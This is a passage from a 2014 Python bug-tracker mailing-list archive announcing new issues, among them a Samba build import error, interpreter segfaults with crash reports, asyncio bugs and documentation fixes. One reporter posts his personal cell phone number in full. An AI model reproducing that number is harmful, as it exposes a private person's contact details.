Date: Mon, 05 May 2014 03:48:33 +0000
Subject: [New-bugs-announce] [issue21432] samba.git from
	git://git.samba.org/samba.git	samba.netcmd.main not found
Message-ID: <1399261713.46.0.185971866408.issue21432@psf.upfronthosting.co.za>


New submission from Joshua Knights:

This is a Python Path Issue:

/root/samba-master/bin/samba-tool domain join AAF.ECPI DC -Uadministrator --realm=AAF.ECPI I get the following Error: 

Traceback (most recent call last):
 File "/root/samba-master/bin/samba-tool", line 33, in <module>
 from samba.netcmd.main import cmd_sambatool
ImportError: No module named samba.netcmd.main


Here is the following Scenario of the above:

I am running a CentosOS Release 6.5 (Final) Kernel Linux 2.632-431.11.2.el6.x86_64 GNOME 2.28.2 

Both my Domain and Relm are AAF.ECPI;   My Directory Path for Samba Version is /root/samba-master/

I did a Yum Update before starting anything

Then I did a:  

yum install glibc glibc-devel gcc python* libacl-devel krb5-workstation krb5-libs pam_krb5 

and then I removed the older samba packages before starting via the command: 

yum remove samba-winbind-client samba-common samba-client 

Then I installed git core using the command: 

yum install git-core 

Then I downloaded Samba with the following command: 

git clone git://git.samba.org/samba.git samba-master

Then I installed the additional openldap-devel Library 

then I did the ./configure --enable-debug --enable-selftest 

then initiated the make command 

Then I successfully did a: 

 kinit administrator

 and it prompted me for the Administrator Password of the Windows Domain Administrator. 

Then I ran 

klist 

and it successfully showed me I had a security token from the Windows Primary Domain Controller. 

Where I am currently Stuck is when I run the:

/root/samba-master/bin/samba-tool domain join AAF.ECPI DC -Uadministrator --realm=AAF.ECPI I get the following Error: 

Traceback (most recent call last):
 File "/root/samba-master/bin/samba-tool", line 33, in <module>
 from samba.netcmd.main import cmd_sambatool
ImportError: No module named samba.netcmd.main


When I do a find / - name samba.netcmd.main 

It pulls up: NOTHING!! 

If I pull up : find / -name netcmd 

I get: 

/root/samba-master/python/samba/netcmd
/root/samba-master/bin/python/samba/netcmd
/root/samba-master/bin/default/python/samba/netcmd

In my research somebody said: to export the PYTHONPATH and to change it to the correct path of the netcmd command.

if I wanted to fix it permanently then to update my bash.rc file. 

In other words Tell my samba tool where to look, and this look is only temporary till I close my terminal. Placing the 

command in the bash.rc file will run this script every time I open my terminal. Well, I tried all 3 and none of them worked.

And if one of you has an answer, help me cause I need my domain member server to work ASAP. Like before 1pm on May 5th 2014 if at all possible. if one of your reps has an answer PLease call my Cell (425) 231-8472.  My Absolute Deadline is May 7th by 8am, but that's pushing it.

Thanks you,

Joshua

----------
components: Extension Modules
messages: 217903
nosy: SithKitty
priority: normal
severity: normal
status: open
title: samba.git from git://git.samba.org/samba.git  samba.netcmd.main not found
type: compile error
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21432>
_______________________________________

From report at bugs.python.org  Mon May  5 07:07:03 2014
From: report at bugs.python.org (Samuel Ainsworth)
Date: Mon, 05 May 2014 05:07:03 +0000
Subject: [New-bugs-announce] [issue21433] "False = True" produces segfault
Message-ID: <1399266423.37.0.119235751148.issue21433@psf.upfronthosting.co.za>


New submission from Samuel Ainsworth:

Running this:

>>> False = True
Segmentation fault: 11

gives me this:

Process:         Python [17911]
Path:            /Library/Frameworks/Python.framework/Versions/3.3/Resources/Python.app/Contents/MacOS/Python
Identifier:      Python
Version:         3.3.1 (3.3.1)
Code Type:       X86-64 (Native)
Parent Process:  bash [5092]
Responsible:     Terminal [298]
User ID:         501

Date/Time:       2014-05-05 00:55:57.270 -0400
OS Version:      Mac OS X 10.9.2 (13C1021)
Report Version:  11
Anonymous UUID:  B5997910-F526-88BB-2135-BD6152A81709

Sleep/Wake UUID: 88A9925C-46FC-488E-B7A5-EBB1AAE6BAC1

Crashed Thread:  0  Dispatch queue: com.apple.main-thread

Exception Type:  EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000000000000000

VM Regions Near 0:
--> 
    __TEXT                 0000000100000000-0000000100001000 [    4K] r-x/rwx SM=COW  /Library/Frameworks/Python.framework/Versions/3.3/Resources/Python.app/Contents/MacOS/Python

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   readline.so                   	0x00000001006e1f57 call_readline + 647
1   org.python.python             	0x0000000100008182 PyOS_Readline + 274
2   org.python.python             	0x000000010000a048 tok_nextc + 104
3   org.python.python             	0x000000010000a6f1 tok_get + 97
4   org.python.python             	0x000000010000bb61 PyTokenizer_Get + 17
5   org.python.python             	0x0000000100008294 parsetok + 212
6   org.python.python             	0x0000000100105253 PyParser_ASTFromFile + 131
7   org.python.python             	0x0000000100105459 PyRun_InteractiveOneFlags + 281
8   org.python.python             	0x00000001001057ce PyRun_InteractiveLoopFlags + 78
9   org.python.python             	0x00000001001070e1 PyRun_AnyFileExFlags + 161
10  org.python.python             	0x000000010011dade Py_Main + 3454
11  org.python.python             	0x0000000100000e1c 0x100000000 + 3612
12  org.python.python             	0x0000000100000c74 0x100000000 + 3188

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000000000000  rbx: 0x0000000102200000  rcx: 0x0000000102200000  rdx: 0x0000000000000a00
  rdi: 0x0000000000000000  rsi: 0x00000001006e221c  rbp: 0x00007fff5fbff210  rsp: 0x00007fff5fbff140
   r8: 0x0000000102200000   r9: 0x0000000000000000  r10: 0x0000000000000001  r11: 0x0000000000000001
  r12: 0x0000000000000001  r13: 0x000000000000000c  r14: 0x00000001001fb678  r15: 0x00007fff5fbff1d0
  rip: 0x00000001006e1f57  rfl: 0x0000000000010206  cr2: 0x0000000000000000
  
Logical CPU:     1
Error Code:      0x00000004
Trap Number:     14


Binary Images:
       0x100000000 -        0x100000ff7 +org.python.python (3.3.1 - 3.3.1) <152E1B23-6F4F-E37A-CB7A-862C4D3D1FBD> /Library/Frameworks/Python.framework/Versions/3.3/Resources/Python.app/Contents/MacOS/Python
       0x100003000 -        0x1001cbff7 +org.python.python (3.3.1, [c] 2004-2013 Python Software Foundation. - 3.3.1) <0328F41B-A30B-2BBA-D4C3-FA2E5DE4FCA1> /Library/Frameworks/Python.framework/Versions/3.3/Python
       0x1003f3000 -        0x1003f4ff7 +_heapq.so (???) <1C40E27A-FBFA-6B43-9AA9-9FCDF1961459> /Library/Frameworks/Python.framework/Versions/3.3/lib/python3.3/lib-dynload/_heapq.so
       0x1006e0000 -        0x1006e2ff7 +readline.so (???) <5D0B15E6-1E61-AA6F-3915-27BBA7D83F4C> /Library/Frameworks/Python.framework/Versions/3.3/lib/python3.3/lib-dynload/readline.so
       0x1020f1000 -        0x10210fffb  libedit.2.dylib (39) <1B0596DB-F336-32E7-BB9F-51BF70DB5305> /usr/lib/libedit.2.dylib
       0x102120000 -        0x102174fe7 +libncursesw.5.dylib (5) <AA864030-A948-A10A-78B5-CF638A98AEFF> /Library/Frameworks/Python.framework/Versions/3.3/lib/libncursesw.5.dylib
    0x7fff6343f000 -     0x7fff63472817  dyld (239.4) <2B17750C-ED1B-3060-B64E-21897D08B28B> /usr/lib/dyld
    0x7fff894f4000 -     0x7fff894faff7  libsystem_platform.dylib (24.90.1) <3C3D3DA8-32B9-3243-98EC-D89B9A1670B3> /usr/lib/system/libsystem_platform.dylib
    0x7fff89931000 -     0x7fff89958ff7  libsystem_network.dylib (241.3) <8B1E1F1D-A5CC-3BAE-8B1E-ABC84337A364> /usr/lib/system/libsystem_network.dylib
    0x7fff89b7f000 -     0x7fff89b80ff7  libsystem_blocks.dylib (63) <FB856CD1-2AEA-3907-8E9B-1E54B6827F82> /usr/lib/system/libsystem_blocks.dylib
    0x7fff89fd5000 -     0x7fff89fd9ff7  libcache.dylib (62) <BDC1E65B-72A1-3DA3-A57C-B23159CAAD0B> /usr/lib/system/libcache.dylib
    0x7fff8a21f000 -     0x7fff8a228ff3  libsystem_notify.dylib (121) <52571EC3-6894-37E4-946E-064B021ED44E> /usr/lib/system/libsystem_notify.dylib
    0x7fff8a52f000 -     0x7fff8a536fff  libcompiler_rt.dylib (35) <4CD916B2-1B17-362A-B403-EF24A1DAC141> /usr/lib/system/libcompiler_rt.dylib
    0x7fff8b144000 -     0x7fff8b146ff3  libsystem_configuration.dylib (596.13) <B51C8C22-C455-36AC-952D-A319B6545884> /usr/lib/system/libsystem_configuration.dylib
    0x7fff8c3b4000 -     0x7fff8c3ddff7  libc++abi.dylib (49.1) <21A807D3-6732-3455-B77F-743E9F916DF0> /usr/lib/libc++abi.dylib
    0x7fff8c44c000 -     0x7fff8c44dfff  libunc.dylib (28) <62682455-1862-36FE-8A04-7A6B91256438> /usr/lib/system/libunc.dylib
    0x7fff8d55a000 -     0x7fff8d55eff7  libsystem_stats.dylib (93.90.3) <1A55AF8A-B6C4-3163-B557-3AD25DA643A8> /usr/lib/system/libsystem_stats.dylib
    0x7fff8d55f000 -     0x7fff8d57aff7  libsystem_malloc.dylib (23.10.1) <A695B4E4-38E9-332E-A772-29D31E3F1385> /usr/lib/system/libsystem_malloc.dylib
    0x7fff8e58a000 -     0x7fff8e76ffff  com.apple.CoreFoundation (6.9 - 855.16) <A63E680E-E4B2-368B-8564-9DBE0D8DDB91> /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
    0x7fff8ed53000 -     0x7fff8ed5aff3  libcopyfile.dylib (103) <5A881779-D0D6-3029-B371-E3021C2DDA5E> /usr/lib/system/libcopyfile.dylib
    0x7fff8f1df000 -     0x7fff8f1fbff7  libsystem_kernel.dylib (2422.92.1) <3F649963-7FA1-3201-8FF6-8438A52B9973> /usr/lib/system/libsystem_kernel.dylib
    0x7fff8fb2e000 -     0x7fff8fb48fff  libdispatch.dylib (339.90.1) <F3CBFE1B-FCE8-3F33-A53D-9092AB382DBB> /usr/lib/system/libdispatch.dylib
    0x7fff8fdf5000 -     0x7fff8fe06ff7  libz.1.dylib (53) <42E0C8C6-CA38-3CA4-8619-D24ED5DD492E> /usr/lib/libz.1.dylib
    0x7fff90084000 -     0x7fff90087ff7  libdyld.dylib (239.4) <CF03004F-58E4-3BB6-B3FD-BE4E05F128A0> /usr/lib/system/libdyld.dylib
    0x7fff91ae8000 -     0x7fff91b71ff7  libsystem_c.dylib (997.90.3) <6FD3A400-4BB2-3B95-B90C-BE6E9D0D78FA> /usr/lib/system/libsystem_c.dylib
    0x7fff922af000 -     0x7fff922defd2  libsystem_m.dylib (3047.16) <B7F0E2E4-2777-33FC-A787-D6430B630D54> /usr/lib/system/libsystem_m.dylib
    0x7fff922df000 -     0x7fff922e6ff7  libsystem_pthread.dylib (53.1.4) <AB498556-B555-310E-9041-F67EC9E00E2C> /usr/lib/system/libsystem_pthread.dylib
    0x7fff92563000 -     0x7fff9256bfff  libsystem_dnssd.dylib (522.90.2) <A0B7CF19-D9F2-33D4-8107-A62184C9066E> /usr/lib/system/libsystem_dnssd.dylib
    0x7fff9256c000 -     0x7fff92724ff3  libicucore.A.dylib (511.31) <167DDD0A-A935-31AF-B5B9-940268EC3A3C> /usr/lib/libicucore.A.dylib
    0x7fff92825000 -     0x7fff92826ff7  libDiagnosticMessagesClient.dylib (100) <4CDB0F7B-C0AF-3424-BC39-495696F0DB1E> /usr/lib/libDiagnosticMessagesClient.dylib
    0x7fff92a3e000 -     0x7fff92a3fff7  libsystem_sandbox.dylib (278.11) <5E5A6E09-33A9-391A-AB34-E57D93BB1551> /usr/lib/system/libsystem_sandbox.dylib
    0x7fff92cf9000 -     0x7fff92ea6f27  libobjc.A.dylib (551.1) <AD7FD984-271E-30F4-A361-6B20319EC73B> /usr/lib/libobjc.A.dylib
    0x7fff934b5000 -     0x7fff934f7ff7  libauto.dylib (185.5) <F45C36E8-B606-3886-B5B1-B6745E757CA8> /usr/lib/libauto.dylib
    0x7fff935bc000 -     0x7fff935ecfff  libncurses.5.4.dylib (42) <BF763D62-9149-37CB-B1D2-F66A2510E6DD> /usr/lib/libncurses.5.4.dylib
    0x7fff93ddc000 -     0x7fff93de3ff8  liblaunch.dylib (842.90.1) <38D1AB2C-A476-385F-8EA8-7AB604CA1F89> /usr/lib/system/liblaunch.dylib
    0x7fff93df6000 -     0x7fff93dfbff7  libunwind.dylib (35.3) <78DCC358-2FC1-302E-B395-0155B47CB547> /usr/lib/system/libunwind.dylib
    0x7fff94f82000 -     0x7fff94f82ff7  libkeymgr.dylib (28) <3AA8D85D-CF00-3BD3-A5A0-E28E1A32A6D8> /usr/lib/system/libkeymgr.dylib
    0x7fff9566d000 -     0x7fff956bffff  libc++.1.dylib (120) <4F68DFC5-2077-39A8-A449-CAC5FDEE7BDE> /usr/lib/libc++.1.dylib
    0x7fff95aa5000 -     0x7fff95ab6ff7  libsystem_asl.dylib (217.1.4) <655FB343-52CF-3E2F-B14D-BEBF5AAEF94D> /usr/lib/system/libsystem_asl.dylib
    0x7fff962e0000 -     0x7fff962e5fff  libmacho.dylib (845) <1D2910DF-C036-3A82-A3FD-44FF73B5FF9B> /usr/lib/system/libmacho.dylib
    0x7fff962fe000 -     0x7fff96308fff  libcommonCrypto.dylib (60049) <8C4F0CA0-389C-3EDC-B155-E62DD2187E1D> /usr/lib/system/libcommonCrypto.dylib
    0x7fff96339000 -     0x7fff9635dfff  libxpc.dylib (300.90.2) <AB40CD57-F454-3FD4-B415-63B3C0D5C624> /usr/lib/system/libxpc.dylib
    0x7fff96d82000 -     0x7fff96d83ffb  libremovefile.dylib (33) <3543F917-928E-3DB2-A2F4-7AB73B4970EF> /usr/lib/system/libremovefile.dylib
    0x7fff96d84000 -     0x7fff96dd2fff  libcorecrypto.dylib (161.1) <F3973C28-14B6-3006-BB2B-00DD7F09ABC7> /usr/lib/system/libcorecrypto.dylib
    0x7fff96dd3000 -     0x7fff96dd4ff7  libSystem.B.dylib (1197.1.1) <BFC0DC97-46C6-3BE0-9983-54A98734897A> /usr/lib/libSystem.B.dylib
    0x7fff971d4000 -     0x7fff971d6ff7  libquarantine.dylib (71) <7A1A2BCB-C03D-3A25-BFA4-3E569B2D2C38> /usr/lib/system/libquarantine.dylib
    0x7fff971d7000 -     0x7fff971feffb  libsystem_info.dylib (449.1.3) <7D41A156-D285-3849-A2C3-C04ADE797D98> /usr/lib/system/libsystem_info.dylib

External Modification Summary:
  Calls made by other processes targeting this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by all processes on this machine:
    task_for_pid: 48730
    thread_create: 1
    thread_set_state: 0

VM Region Summary:
ReadOnly portion of Libraries: Total=77.4M resident=14.1M(18%) swapped_out_or_unallocated=63.3M(82%)
Writable regions: Total=39.2M written=3348K(8%) resident=3872K(10%) swapped_out=0K(0%) unallocated=35.4M(90%)
 
REGION TYPE                      VIRTUAL
===========                      =======
Kernel Alloc Once                     4K
MALLOC                             30.5M
MALLOC (admin)                       16K
MALLOC_LARGE (reserved)             384K        reserved VM address space (unallocated)
STACK GUARD                        56.0M
Stack                              8192K
VM_ALLOCATE                           8K
__DATA                             1616K
__LINKEDIT                         66.3M
__TEXT                             11.1M
__UNICODE                           544K
shared memory                         4K
===========                      =======
TOTAL                             174.4M
TOTAL, minus reserved VM space    174.0M
 

Model: MacBookAir5,2, BootROM MBA51.00EF.B02, 2 processors, Intel Core i7, 2 GHz, 8 GB, SMC 2.5f9
Graphics: Intel HD Graphics 4000, Intel HD Graphics 4000, Built-In, 1024 MB
Memory Module: BANK 0/DIMM0, 4 GB, DDR3, 1600 MHz, 0x80AD, 0x484D5434353153364D465238412D50422020
Memory Module: BANK 1/DIMM0, 4 GB, DDR3, 1600 MHz, 0x80AD, 0x484D5434353153364D465238412D50422020
AirPort: spairport_wireless_card_type_airport_extreme (0x14E4, 0xE9), Broadcom BCM43xx 1.0 (5.106.98.100.22)
Bluetooth: Version 4.2.3f10 13477, 3 services, 15 devices, 1 incoming serial ports
Network Service: Wi-Fi, AirPort, en0
Serial ATA Device: APPLE SSD SM256E, 251 GB
USB Device: Hub
USB Device: Hub
USB Device: Internal Memory Card Reader
USB Device: Apple Internal Keyboard / Trackpad
USB Device: BRCM20702 Hub
USB Device: Bluetooth USB Host Controller
USB Device: Hub
USB Device: FaceTime HD Camera (Built-in)
Thunderbolt Bus: MacBook Air, Apple Inc., 23.4

----------
messages: 217906
nosy: Samuel.Ainsworth
priority: normal
severity: normal
status: open
title: "False = True" produces segfault
versions: Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21433>
_______________________________________

From report at bugs.python.org  Mon May  5 11:20:58 2014
From: report at bugs.python.org (Berker Peksag)
Date: Mon, 05 May 2014 09:20:58 +0000
Subject: [New-bugs-announce] [issue21434] python -3 documentation is outdated
Message-ID: <1399281658.38.0.402381658113.issue21434@psf.upfronthosting.co.za>


New submission from Berker Peksag:

https://docs.python.org/2.7/using/cmdline.html#cmdoption-3

Currently, lib2to3 provides fixers for dict.has_key(), apply(), callable(),
execfile() and reduce() functions.

The "reload" fixer was added to Python 3.4 in issue 11797, but not backported to 2.7.

----------
assignee: docs at python
components: Documentation
files: cmdline-3.diff
keywords: patch
messages: 217914
nosy: berker.peksag, docs at python
priority: normal
severity: normal
stage: patch review
status: open
title: python -3 documentation is outdated
versions: Python 2.7
Added file: http://bugs.python.org/file35151/cmdline-3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21434>
_______________________________________

From report at bugs.python.org  Mon May  5 13:59:58 2014
From: report at bugs.python.org (Peter Inglesby)
Date: Mon, 05 May 2014 11:59:58 +0000
Subject: [New-bugs-announce] [issue21435] Segfault with cyclic reference and
	asyncio.Future
Message-ID: <1399291198.26.0.236308223501.issue21435@psf.upfronthosting.co.za>


New submission from Peter Inglesby:

The following code causes a segfault when run under Python3.4+ on OSX10.9.

# segfaulter.py
import asyncio
 
class A:
    pass
 
class B:
    def __init__(self, future):
        self.future = future
 
    def __del__(self):
        self.a = None
 
@asyncio.coroutine
def do_work(future):
    a = A()
    b = B(asyncio.Future())
 
    a.b = b
    b.a = a
 
    future.set_result(None)
 
future = asyncio.Future()
asyncio.Task(do_work(future))
loop = asyncio.get_event_loop()
loop.run_until_complete(future)


It does matter that the Future is passed to b's __init__ method.

It doesn't matter whether the Future has been resolved.

Attached is the problem report generated by OSX on the crash.

----------
files: problemreport.txt
messages: 217918
nosy: inglesp
priority: normal
severity: normal
status: open
title: Segfault with cyclic reference and asyncio.Future
type: crash
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35152/problemreport.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21435>
_______________________________________

From report at bugs.python.org  Mon May  5 14:00:08 2014
From: report at bugs.python.org (Sebastian Rittau)
Date: Mon, 05 May 2014 12:00:08 +0000
Subject: [New-bugs-announce] [issue21436] bring back importlib.load_source()
	et al.
Message-ID: <1399291208.69.0.802643633069.issue21436@psf.upfronthosting.co.za>


New submission from Sebastian Rittau:

It was very easy to load plugin files in Python 2:

import imp
my_module = imp.load_source("what.ever", "foo.py")

Unfortunately, this became much more obscure in Python 3.3:

import importlib.machinery
loader = importlib.machinery.SourceFileLoader("what.ever", "foo.py")
my_module = loader.load_module("what.ever")

In Python 3.4 even this has been deprecated. There should be a way (preferable an easy-to-use one) to load a Python module by filename or by stream.

----------
components: Library (Lib)
messages: 217919
nosy: srittau
priority: normal
severity: normal
status: open
title: bring back importlib.load_source() et al.
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21436>
_______________________________________

From report at bugs.python.org  Mon May  5 15:32:12 2014
From: report at bugs.python.org (akira)
Date: Mon, 05 May 2014 13:32:12 +0000
Subject: [New-bugs-announce] [issue21437] document that
	asyncio.ProactorEventLoop doesn't support	SSL
Message-ID: <1399296732.42.0.791038898639.issue21437@psf.upfronthosting.co.za>


New submission from akira:

In Lib/asyncio/proactor_events.py:419 [1]:

  def _start_serving(self, protocol_factory, sock, ssl=None, server=None):
    if ssl:
      raise ValueError('IocpEventLoop is incompatible with SSL.')

[1]: http://hg.python.org/cpython/file/4f26430b03fd/Lib/asyncio/proactor_events.py#l419

ProactorEventLoop is mentioned in the docs that it should be used to run 
subprocesses on Windows. [2]

[2]: http://hg.python.org/cpython/file/4f26430b03fd/Doc/library/asyncio-subprocess.rst

It might be a good example to demonstrate the idiomatic way how two different 
event loops could be used (to support both subprocesses and ssl connections in 
the same program).

----------
assignee: docs at python
components: Documentation
messages: 217921
nosy: akira, docs at python
priority: normal
severity: normal
status: open
title: document that asyncio.ProactorEventLoop doesn't support SSL
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21437>
_______________________________________

From report at bugs.python.org  Mon May  5 15:38:42 2014
From: report at bugs.python.org (Brett Cannon)
Date: Mon, 05 May 2014 13:38:42 +0000
Subject: [New-bugs-announce] [issue21438] Document which importlib.machinery
	loaders don't require	an argument for load_module()
Message-ID: <1399297122.37.0.213732682658.issue21438@psf.upfronthosting.co.za>


New submission from Brett Cannon:

Multiple loaders don't require an argument for load_module() because the module name is provided as part of instance initialization. As such it doesn't hurt to document this fact to help shorten manual calls to the instances as when people do when transitioning off of the imp module.

----------
assignee: brett.cannon
components: Documentation
messages: 217922
nosy: brett.cannon
priority: normal
severity: normal
status: open
title: Document which importlib.machinery loaders don't require an argument for load_module()
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21438>
_______________________________________

From report at bugs.python.org  Mon May  5 16:34:11 2014
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 05 May 2014 14:34:11 +0000
Subject: [New-bugs-announce] [issue21439] Numerous minor issues in Language
	Reference
Message-ID: <1399300451.92.0.450554829588.issue21439@psf.upfronthosting.co.za>


New submission from Zachary Ware:

Reported by Feliks Kluzniak on docs@:

"""
Hello!

I have been reading the Language Reference Manual in order to teach myself Python 3.  I noticed several minor errors, and a much larger number of linguistic or editorial infelicities.  I have listed them all in the enclosed document: I hope it will be useful.

Sincerely,
? Feliks Kluzniak

P.S. My apologies for not having the time to weed out those remarks which might already have been entered into the list of ?documentation bugs?.
"""

----------
assignee: zach.ware
components: Documentation
files: PythonRefmanual_3_4_0_Errata.rtf
keywords: easy
messages: 217926
nosy: zach.ware
priority: normal
severity: normal
stage: test needed
status: open
title: Numerous minor issues in Language Reference
type: enhancement
versions: Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35153/PythonRefmanual_3_4_0_Errata.rtf

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21439>
_______________________________________

From report at bugs.python.org  Mon May  5 19:22:10 2014
From: report at bugs.python.org (Tim Golden)
Date: Mon, 05 May 2014 17:22:10 +0000
Subject: [New-bugs-announce] [issue21440] Use support.rmtree in test_zipfile
Message-ID: <1399310530.32.0.0955350320497.issue21440@psf.upfronthosting.co.za>


New submission from Tim Golden:

At present test_zipfile uses shutil.rmtree to remove its test artefacts. This intermittently but frequently fails to remove cleanly on a Windows development box. Changing it to use the test.support helper functions should reduce the incidence.

----------
assignee: tim.golden
components: Tests
messages: 217935
nosy: tim.golden
priority: normal
severity: normal
stage: patch review
status: open
title: Use support.rmtree in test_zipfile
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21440>
_______________________________________

From report at bugs.python.org  Mon May  5 20:28:03 2014
From: report at bugs.python.org (Jake Vanderplas)
Date: Mon, 05 May 2014 18:28:03 +0000
Subject: [New-bugs-announce] [issue21441] Buffer Protocol Documentation Error
Message-ID: <1399314483.29.0.410069597608.issue21441@psf.upfronthosting.co.za>


New submission from Jake Vanderplas:

The ``obj`` and ``buf`` structure elements are switched in the documentation of the Buffer Protocol.

Compare https://docs.python.org/3.3/c-api/buffer.html#Py_buffer to https://github.com/python/cpython/blob/master/Include/object.h#L179-180

----------
assignee: docs at python
components: Documentation
files: bufferdoc.patch
keywords: patch
messages: 217939
nosy: Jake.Vanderplas, docs at python
priority: normal
severity: normal
status: open
title: Buffer Protocol Documentation Error
versions: Python 3.3, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35158/bufferdoc.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21441>
_______________________________________

From report at bugs.python.org  Mon May  5 21:16:52 2014
From: report at bugs.python.org (Zachary Ware)
Date: Mon, 05 May 2014 19:16:52 +0000
Subject: [New-bugs-announce] [issue21442] Win32 compiler warning in
	PyBytes_Concat
Message-ID: <1399317412.48.0.97409893432.issue21442@psf.upfronthosting.co.za>


New submission from Zachary Ware:

Issue #21377 introduced a compiler warning on Windows:

..\Objects\bytesobject.c(2824): warning C4018: '>' : signed/unsigned mismatch [P:\ath\to\cpython\PCbuild\pythoncore.vcxproj]

----------
components: Build, Windows
messages: 217942
nosy: haypo, nikratio, pitrou, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Win32 compiler warning in PyBytes_Concat
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21442>
_______________________________________

From report at bugs.python.org  Mon May  5 22:19:57 2014
From: report at bugs.python.org (steven Michalske)
Date: Mon, 05 May 2014 20:19:57 +0000
Subject: [New-bugs-announce] [issue21443] asyncoio logging documentation
	clarifications.
Message-ID: <1399321197.68.0.955361534546.issue21443@psf.upfronthosting.co.za>


New submission from steven Michalske:

The asyncio documentation should comment on how to mute and increase some of it's logging.

18.5.7.3. Logging
The asyncio module logs information with the logging module in the logger 'asyncio'.


Adding a bit of text that mentions the following line would be great.
"""
The default verbosity will include messages at logging.INFO level.
To modify the verbosity of asyncio logging add a similar line to your application.
`logging.getLogger('asyncio').setLevel(logging.WARNING)`
"""


Note:
While this is clear to active users of the logging module, it is not clear to novices, who want INFO in their applications but not from asyncio.

----------
assignee: docs at python
components: Documentation
messages: 217952
nosy: docs at python, hardkrash
priority: normal
severity: normal
status: open
title: asyncoio logging documentation clarifications.
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21443>
_______________________________________

From report at bugs.python.org  Tue May  6 01:11:11 2014
From: report at bugs.python.org (Ram Rachum)
Date: Mon, 05 May 2014 23:11:11 +0000
Subject: [New-bugs-announce] [issue21444] __len__ can't return big numbers
Message-ID: <1399331471.11.0.0301606352774.issue21444@psf.upfronthosting.co.za>


New submission from Ram Rachum:

I want to use big numbers for length.

>>> class A:
...     __len__ = lambda self: 10 ** 20
>>> len(A())
Traceback (most recent call last):
  File "<pyshell#5>", line 1, in <module>
    len(A())
OverflowError: cannot fit 'int' into an index-sized integer

----------
components: Interpreter Core
messages: 217957
nosy: cool-RR
priority: normal
severity: normal
status: open
title: __len__ can't return big numbers
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21444>
_______________________________________

From report at bugs.python.org  Tue May  6 09:43:14 2014
From: report at bugs.python.org (Steven Barker)
Date: Tue, 06 May 2014 07:43:14 +0000
Subject: [New-bugs-announce] [issue21445] Some asserts in test_filecmp have
	the wrong messages
Message-ID: <1399362194.49.0.4974401647.issue21445@psf.upfronthosting.co.za>


New submission from Steven Barker:

While working on a fix for issue 1234674, I found that the first test method in Lib/test/test_filecmp.py (FileCompareTestCase.test_matching) has switched up messages in its AssertEquals calls. The first two asserts have the message that should belong to the second two, and visa versa.

I've prepared a very simple patch that switches around the AssertEquals arguments so that the messages match what is being tested. The behavior checked by the asserts remains exactly the same, only the message printed if an assert fails will be different.

The test still passes. If you want to see the wrong message get displayed, the patch I uploaded for issue 1234674 may cause the test edited here to fail intermittently (it depend on whether two files are created in a shorter time than your filesystems's mtime resolution in the setup code). The failures are not affected by this patch, but with it you'll get the right message rather than a wrong one.

----------
components: Tests
files: filecmp_test_messages.diff
keywords: patch
messages: 217970
nosy: Steven.Barker
priority: normal
severity: normal
status: open
title: Some asserts in test_filecmp have the wrong messages
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file35160/filecmp_test_messages.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21445>
_______________________________________

From report at bugs.python.org  Tue May  6 11:51:39 2014
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 06 May 2014 09:51:39 +0000
Subject: [New-bugs-announce] [issue21446] Update reload fixer to use
	importlib instead of imp
Message-ID: <1399369899.96.0.959859751651.issue21446@psf.upfronthosting.co.za>


New submission from Berker Peksag:

Since imp.reload() was deprecated in issue 18193, the reload fixer (added in issue 11797) needs to be updated to use importlib.reload() instead of imp.reload().

----------
components: 2to3 (2.x to 3.x conversion tool)
files: reload-fixer.diff
keywords: patch
messages: 217973
nosy: benjamin.peterson, berker.peksag, brett.cannon
priority: normal
severity: normal
stage: patch review
status: open
title: Update reload fixer to use importlib instead of imp
versions: Python 3.5
Added file: http://bugs.python.org/file35161/reload-fixer.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21446>
_______________________________________

From report at bugs.python.org  Tue May  6 20:28:19 2014
From: report at bugs.python.org (Ryder Lewis)
Date: Tue, 06 May 2014 18:28:19 +0000
Subject: [New-bugs-announce] [issue21447] Intermittent
	asyncio.open_connection /	futures.InvalidStateError
Message-ID: <1399400899.35.0.6772968076.issue21447@psf.upfronthosting.co.za>


New submission from Ryder Lewis:

Intermittently, when using asyncio.wait_for() with asyncio.open_connection() to cancel the open_connection() task after a timeout period, an asyncio.futures.InvalidStateError is raised. It seems to be a race condition, if the open_connection() call succeeds roughly at the same time as the timeout.

In order to recreate this issue, I used a slightly-modified version of the example at https://docs.python.org/3.4/library/asyncio-stream.html?highlight=open_connection#example

==== example.py ====
import asyncio
import urllib.parse
import sys

@asyncio.coroutine
def print_http_headers(url, timeout):
